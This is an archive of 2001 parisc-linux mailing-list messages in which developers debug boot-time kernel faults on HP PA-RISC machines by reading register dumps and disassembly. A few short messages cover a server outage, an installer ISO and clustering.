IP-Technologies, T33              Mobile: ++49-0170-2275345
Goslarer Ufer 35, 10589 Berlin    Fax:    ++49-30-34973571





From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Mon, 11 Jun 2001 13:54:16 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106111350100.9668-100000@leo.uni-sw.gwdg.de>
References: <20010610140927.C16532@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620201 20675 80.91.229.3 (22 Nov 2014 01:36:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:41 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 05:54:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB0E5482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 05:54:24 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 159QGu-0002cE-00
	for parisc-linux@lists.parisc-linux.org; Mon, 11 Jun 2001 13:54:16 +0200
In-Reply-To: <20010610140927.C16532@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11303

On Sun, 10 Jun 2001, Richard Hirst wrote:

> boot to a shell
> e2fsck /dev/sda<whatever your root device is>
> mount -o remount,rw /
> mv /usr/sbin/cron /usr/sbin/cron.ori
> sync
> mount -o remount,ro /
> hit the reset button and try a normal boot again

If I take cron out like that, then the next job (atd) is the one
which triggers the kernel fault. An error message about problems
with <sth>cron / <sth>atd is displayed, but I am never fast enough
to read and unterstand it entirely, before the stack dump causes it
to scroll off the screen.

Is it normal for PA-RISC Linux, that the typical Linux Key-Combo
<Shift>-<PgUp/Down> does not work on the console? Or is that even
normal for Debian?

Greetings,
	Peter.





From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Mon, 11 Jun 2001 13:16:36 +0100
Lines: 105
Approved: news@gmane.org
Message-ID: <20010611131636.H16532@linuxcare.com>
References: <20010610140927.C16532@linuxcare.com> <Pine.LNX.4.33.0106111249020.9668-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620202 20678 80.91.229.3 (22 Nov 2014 01:36:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>,
	Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 06:20:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 346AE482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 06:20:43 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1D565B007; Mon, 11 Jun 2001 13:16:36 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0106111249020.9668-100000@leo.uni-sw.gwdg.de>; from weilbach@uni-sw.gwdg.de on Mon, Jun 11, 2001 at 01:17:39PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11304

On Mon, Jun 11, 2001 at 01:17:39PM +0200, Peter Weilbacher wrote:
> Hmm, it seems that the numbers change every time, but here are the
> ones from the last instance:
> 
> 	Kernel Fault: Code=15 regs=1051ca80 (Addr=1dc0ce18)
> 
> 	     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> 	PSW: 00000000000001000000000000001111
> 	r0-3o 00000000 10236000 10193d70 1dc0cd18
> 	r4-7o 146fc000 102fe13c 00000001 00000100
> 	r8-11o 4020b1a8 00000000 00000004 146ff000
> 	r12-15o 00000100 00000030 00003000 102fe138
> 	r16-19o 00000080 1051c908 00000001 14786000
> 	r20-23o 146fc000 102959f8 101da1d4 00000000
> 	r24-27o 000000ff 1dc0ce18 146fc000 10268010
> 	r28-31o 00001920 00000004 1051ccc0 10192c78
> 	sr0-3o 00000000 0000012a 00000000 0000012a
> 	sr4-7o 00000000 00000000 00000000 00000000
> 
> 	IASQ: 00000000 00000000 IAOQ: 10236234 10236238
> 	 IIR: 0f221033    ISR: 00000000  IOR: 1dc0ce18
> 	 ORIG_R28: 1005f210
> 
> Phew, quite a work to type all this stuff, I am glad that you are
> not interested in the stack... Perhaps this is useful.

The 'o' chars are actually tabs, which are supposed to make the register
dump line up.

IAOQ is the most important.  You can look up the value in the
sti/sys_map file on the CD:

...
10236204 T bcopy
10236228 T memcpy
1023624c T memmove
...

so it crashed in memcpy.  r2 is often the return address, so back to sys_map:

...
10193a98 T vc_allocate
10193bc8 T vc_resize
10193ed8 t .L1003
10193f40 t .L1043
10193fcc T vc_disallocate
...

looks like memcpy was called from vc_resize().

r236,r25,r24,r23 are the call params, if they havn't been overwritten.

memcpy() disassembles as

00000000 <memcpy>:
   0:   37 18 3f ff     ldo -1(r24),r24
   4:   87 1f 20 20     cmpib,= -1,r24,1c <memcpy+0x1c>
   8:   08 1a 02 54     copy r26,r20
   c:   0f 22 10 33     ldb,ma  1(sr0,r25),r19
  10:   37 18 3f ff     ldo -1(r24),r24
  14:   8f 1f 3f e5     cmpib,<> -1,r24,c <memcpy+0xc>
  18:   0e 93 12 22     stb,ma  r19,1(sr0,r20)
  1c:   e8 40 c0 00     bv r0(rp)
  20:   08 1a 02 5c     copy r26,ret0

r26 = r20, so it failed on the first byte of the move, so call was

  memcpy(0x146fc000,0x1dc0ce18,0x100);

with 0x1dc0ce18 being an invalid address.

I guess that comes from this loop in drivers/char/screen.c:

  while (ol < scr_end) {
          scr_memcpyw((unsigned short *) nl, (unsigned short *) ol, rlth);
          if (rrem)
                  scr_memsetw((void *)(nl + rlth), video_erase_char, rrem);
          ol += osr;
          nl += sr;
  }


At this point I'll stop and hope Helge can comment...


> In the meantime I noticed that about every 6th time it boots up
> without crashing, but the keyboard setting from the installation
> (German) was obviously not saved.

Correct, keyboard config is broken in the release sti image.  If you
manage to boot you could try

mv /bin/loadkeys /bin/loadkeys.old
mv /bin/dumpkeys /bin/dumpkeys.old
mv /etc/console-tools /etc/console-tools.old
apt-get install console-data console-common console-tools console-tools-libs


If that works, let me know and I'll add it to the errata.

Richard





From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Mon, 11 Jun 2001 13:19:49 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010611131949.I16532@linuxcare.com>
References: <20010610140927.C16532@linuxcare.com> <Pine.LNX.4.33.0106111350100.9668-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620202 20679 80.91.229.3 (22 Nov 2014 01:36:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 06:23:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4B40482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 06:23:55 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 95C83B007; Mon, 11 Jun 2001 13:19:49 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0106111350100.9668-100000@leo.uni-sw.gwdg.de>; from weilbach@uni-sw.gwdg.de on Mon, Jun 11, 2001 at 01:54:16PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11305

On Mon, Jun 11, 2001 at 01:54:16PM +0200, Peter Weilbacher wrote:
> On Sun, 10 Jun 2001, Richard Hirst wrote:
> 
> > boot to a shell
> > e2fsck /dev/sda<whatever your root device is>
> > mount -o remount,rw /
> > mv /usr/sbin/cron /usr/sbin/cron.ori
> > sync
> > mount -o remount,ro /
> > hit the reset button and try a normal boot again
> 
> If I take cron out like that, then the next job (atd) is the one
> which triggers the kernel fault. An error message about problems
> with <sth>cron / <sth>atd is displayed, but I am never fast enough
> to read and unterstand it entirely, before the stack dump causes it
> to scroll off the screen.
> 
> Is it normal for PA-RISC Linux, that the typical Linux Key-Combo
> <Shift>-<PgUp/Down> does not work on the console? Or is that even
> normal for Debian?

I wouldn't expect that to work once the kernel has crashed, unfortunately.

Richard





From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Mon, 11 Jun 2001 15:57:02 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <3B24CE2E.77B5F5F6@esiee.fr>
References: <Pine.LNX.4.33.0106111249020.9668-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620202 20682 80.91.229.3 (22 Nov 2014 01:36:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:42 +0000 (UTC)
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 07:43:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBE55482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 07:43:40 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 72068D15B1; Mon, 11 Jun 2001 15:43:33 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11306

Hum, could you check your Hardware clock before booting.
I got this problem on a 742 box and when I set the hwclock
to the right date and time (The clock was unset due to lack
of battery), cron worked.

Peter Weilbacher wrote:
> 
> On Sun, 10 Jun 2001, Richard Hirst wrote:
> 
> > On Fri, Jun 08, 2001 at 07:28:51PM +0200, Peter Weilbacher wrote:
> > > I have played with a 712/60 and had the same problem as Frank. I got
> > > it installed over the first reboot, but after a the next one on
> > > every reboot it crashed with Kernel faults at cron.
> > >
> > > Now I have reinstalled and I do not get over the reboot. Is it
> > > explained somewhere, which I need to write down, to help you debug
> > > the problem? (I guess it doesn't make it into any logs, which I
> > > could look at by putting the disk on another machine.)
> >
> > I expect to get my hands on a 712 very soon, so I'll see if I can
> > reproduce this problem.  So far as what you can write down for me...
> > Usually a kernel crash gives a stack dump followed by the fault type
> > and address, then a bunch of registers.  I'm not too interested in the
> > stack dump (which has probably scrolled off the screen, anyway), but
> > everything after the stack dump would be useful.
> 
> Hmm, it seems that the numbers change every time, but here are the
> ones from the last instance:
> 
>         Kernel Fault: Code=15 regs=1051ca80 (Addr=1dc0ce18)
> 
>              YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>         PSW: 00000000000001000000000000001111
>         r0-3o 00000000 10236000 10193d70 1dc0cd18
>         r4-7o 146fc000 102fe13c 00000001 00000100
>         r8-11o 4020b1a8 00000000 00000004 146ff000
>         r12-15o 00000100 00000030 00003000 102fe138
>         r16-19o 00000080 1051c908 00000001 14786000
>         r20-23o 146fc000 102959f8 101da1d4 00000000
>         r24-27o 000000ff 1dc0ce18 146fc000 10268010
>         r28-31o 00001920 00000004 1051ccc0 10192c78
>         sr0-3o 00000000 0000012a 00000000 0000012a
>         sr4-7o 00000000 00000000 00000000 00000000
> 
>         IASQ: 00000000 00000000 IAOQ: 10236234 10236238
>          IIR: 0f221033    ISR: 00000000  IOR: 1dc0ce18
>          ORIG_R28: 1005f210
> 
> Phew, quite a work to type all this stuff, I am glad that you are
> not interested in the stack... Perhaps this is useful.
> 
> In the meantime I noticed that about every 6th time it boots up
> without crashing, but the keyboard setting from the installation
> (German) was obviously not saved.
> 
> Peter.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel faults on boot
Date: Mon, 11 Jun 2001 16:05:50 +0200 (CEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106111559090.9668-100000@leo.uni-sw.gwdg.de>
References: <3B24CE2E.77B5F5F6@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620203 20685 80.91.229.3 (22 Nov 2014 01:36:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:43 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 08:05:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72BF7482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 08:05:50 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 159SKE-0002qV-00
	for parisc-linux@lists.parisc-linux.org; Mon, 11 Jun 2001 16:05:50 +0200
In-Reply-To: <3B24CE2E.77B5F5F6@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:11307

On Mon, 11 Jun 2001, Matthieu Delahaye wrote:

> Hum, could you check your Hardware clock before booting.
> I got this problem on a 742 box and when I set the hwclock
> to the right date and time (The clock was unset due to lack
> of battery), cron worked.

No, I have set it to approximately the right time, when I installed,
and it is only off by a few minutes. Didn't find a netdate or
ntpdate on the CD to do it better, and with all the boot problems I
didn't have time to compile it myself...

Peter.





From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel faults on boot
Date: Mon, 11 Jun 2001 17:03:54 +0100
Lines: 115
Approved: news@gmane.org
Message-ID: <20010611170354.L16532@linuxcare.com>
References: <20010610140927.C16532@linuxcare.com> <Pine.LNX.4.33.0106111249020.9668-100000@leo.uni-sw.gwdg.de> <20010611131636.H16532@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620203 20686 80.91.229.3 (22 Nov 2014 01:36:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>,
	Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 10:08:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CC59482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 10:08:03 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2C410B007; Mon, 11 Jun 2001 17:03:54 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010611131636.H16532@linuxcare.com>; from rhirst@linuxcare.com on Mon, Jun 11, 2001 at 01:16:36PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11308

Just tried my new installer that tries to run the second stage installer
automatically on reboot.  Crashed the kernel in kfree(), called from
vc_resize() again.  I'm guessing there is something screwy about the
screenbuf allocation.  Possibly due to the first ones being allocated
from the bootmem allocator?

Richard


On Mon, Jun 11, 2001 at 01:16:36PM +0100, Richard Hirst wrote:
> On Mon, Jun 11, 2001 at 01:17:39PM +0200, Peter Weilbacher wrote:
> > Hmm, it seems that the numbers change every time, but here are the
> > ones from the last instance:
> > 
> > 	Kernel Fault: Code=15 regs=1051ca80 (Addr=1dc0ce18)
> > 
> > 	     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > 	PSW: 00000000000001000000000000001111
> > 	r0-3o 00000000 10236000 10193d70 1dc0cd18
> > 	r4-7o 146fc000 102fe13c 00000001 00000100
> > 	r8-11o 4020b1a8 00000000 00000004 146ff000
> > 	r12-15o 00000100 00000030 00003000 102fe138
> > 	r16-19o 00000080 1051c908 00000001 14786000
> > 	r20-23o 146fc000 102959f8 101da1d4 00000000
> > 	r24-27o 000000ff 1dc0ce18 146fc000 10268010
> > 	r28-31o 00001920 00000004 1051ccc0 10192c78
> > 	sr0-3o 00000000 0000012a 00000000 0000012a
> > 	sr4-7o 00000000 00000000 00000000 00000000
> > 
> > 	IASQ: 00000000 00000000 IAOQ: 10236234 10236238
> > 	 IIR: 0f221033    ISR: 00000000  IOR: 1dc0ce18
> > 	 ORIG_R28: 1005f210
> > 
> > Phew, quite a work to type all this stuff, I am glad that you are
> > not interested in the stack... Perhaps this is useful.
> 
> The 'o' chars are actually tabs, which are supposed to make the register
> dump line up.
> 
> IAOQ is the most important.  You can look up the value in the
> sti/sys_map file on the CD:
> 
> ...
> 10236204 T bcopy
> 10236228 T memcpy
> 1023624c T memmove
> ...
> 
> so it crashed in memcpy.  r2 is often the return address, so back to sys_map:
> 
> ...
> 10193a98 T vc_allocate
> 10193bc8 T vc_resize
> 10193ed8 t .L1003
> 10193f40 t .L1043
> 10193fcc T vc_disallocate
> ...
> 
> looks like memcpy was called from vc_resize().
> 
> r236,r25,r24,r23 are the call params, if they havn't been overwritten.
> 
> memcpy() disassembles as
> 
> 00000000 <memcpy>:
>    0:   37 18 3f ff     ldo -1(r24),r24
>    4:   87 1f 20 20     cmpib,= -1,r24,1c <memcpy+0x1c>
>    8:   08 1a 02 54     copy r26,r20
>    c:   0f 22 10 33     ldb,ma  1(sr0,r25),r19
>   10:   37 18 3f ff     ldo -1(r24),r24
>   14:   8f 1f 3f e5     cmpib,<> -1,r24,c <memcpy+0xc>
>   18:   0e 93 12 22     stb,ma  r19,1(sr0,r20)
>   1c:   e8 40 c0 00     bv r0(rp)
>   20:   08 1a 02 5c     copy r26,ret0
> 
> r26 = r20, so it failed on the first byte of the move, so call was
> 
>   memcpy(0x146fc000,0x1dc0ce18,0x100);
> 
> with 0x1dc0ce18 being an invalid address.
> 
> I guess that comes from this loop in drivers/char/screen.c:
> 
>   while (ol < scr_end) {
>           scr_memcpyw((unsigned short *) nl, (unsigned short *) ol, rlth);
>           if (rrem)
>                   scr_memsetw((void *)(nl + rlth), video_erase_char, rrem);
>           ol += osr;
>           nl += sr;
>   }
> 
> 
> At this point I'll stop and hope Helge can comment...
> 
> 
> > In the meantime I noticed that about every 6th time it boots up
> > without crashing, but the keyboard setting from the installation
> > (German) was obviously not saved.
> 
> Correct, keyboard config is broken in the release sti image.  If you
> manage to boot you could try
> 
> mv /bin/loadkeys /bin/loadkeys.old
> mv /bin/dumpkeys /bin/dumpkeys.old
> mv /etc/console-tools /etc/console-tools.old
> apt-get install console-data console-common console-tools console-tools-libs
> 
> 
> If that works, let me know and I'll add it to the errata.
> 
> Richard
> 




From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pehc back up
Date: Mon, 11 Jun 2001 17:56:08 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20010611175608.G28264@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620203 20690 80.91.229.3 (22 Nov 2014 01:36:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 10:56:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51A10482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 10:56:12 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00738
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Jun 2001 16:55:34 -0600
Original-Received: (qmail 4922 invoked by uid 15267); 11 Jun 2001 16:56:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4901 invoked from network); 11 Jun 2001 16:56:08 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 11 Jun 2001 16:56:08 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 159Uz2-0002qs-00
	for parisc-linux@thepuffingroup.com; Mon, 11 Jun 2001 17:56:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11309

puffin.external.hp.com ran out of VM sometime in the last 15 hours.
It's back up now.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jheumann@fonts.de
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9ser can't install on D210
Date: Mon, 11 Jun 2001 15:21:08 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3B24C5C4.335F18E7@fonts.de>
References: <3B1CB312.1C9DBAB9@fonts.de> <20010605145731.A73568@chico.franken.de> <20010605230450.A2455@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620203 20691 80.91.229.3 (22 Nov 2014 01:36:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 11:50:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87CA9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 11:50:49 -0600 (MDT)
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA01475
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Jun 2001 17:50:11 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel2.hp.com (Postfix) with SMTP id 43BFCFE8
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Jun 2001 09:26:13 -0400 (EDT)
Original-Received: (qmail 20116 invoked by uid 15267); 11 Jun 2001 13:22:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20094 invoked from network); 11 Jun 2001 13:22:12 -0000
Original-Received: from unknown (HELO mail.fonts.de) (212.109.160.102)
  by mailserv2.iuinc.com with SMTP; 11 Jun 2001 13:22:12 -0000
Original-Received: from fonts.de [10.53.102.32] by mail.fonts.de with ESMTP
  (SMTPD32-6.06) id A5D357D201E2; Mon, 11 Jun 2001 15:29:39 +0100
Original-Sender: jheumann@mailserv2.iuinc.com
X-Mailer: Mozilla 4.72 [de] (X11; U; Linux 2.2.14-5.0smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11310

the problem is over.

i have probe the iso image 0.9ser from ESIEE. this will not work on my D210 and
712-60.
i have download the image from
http://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.9-32serial.iso.gz
and this work.







From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Hagreis" <jha@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] clustering ??
Date: Mon, 11 Jun 2001 21:50:54 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <KHEOKDLGAPDONGNKGOKFAEEGCAAA.jha@xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620204 20694 80.91.229.3 (22 Nov 2014 01:36:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 13:50:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56877482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 13:50:14 -0600 (MDT)
Original-Received: from c004 (s340-modem3003.dial.xs4all.nl [194.109.171.187])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with SMTP id VAA13447
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Jun 2001 21:48:55 +0200 (CEST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:11311


Hi there,

I've got two B132L+ systems running with the 0.6 release. I wondered if
there was someone who has experience with clustering these systems .....

Anyone .....

Tia,

John Hagreis.





From - Thu Nov 08 21:18:02 2018
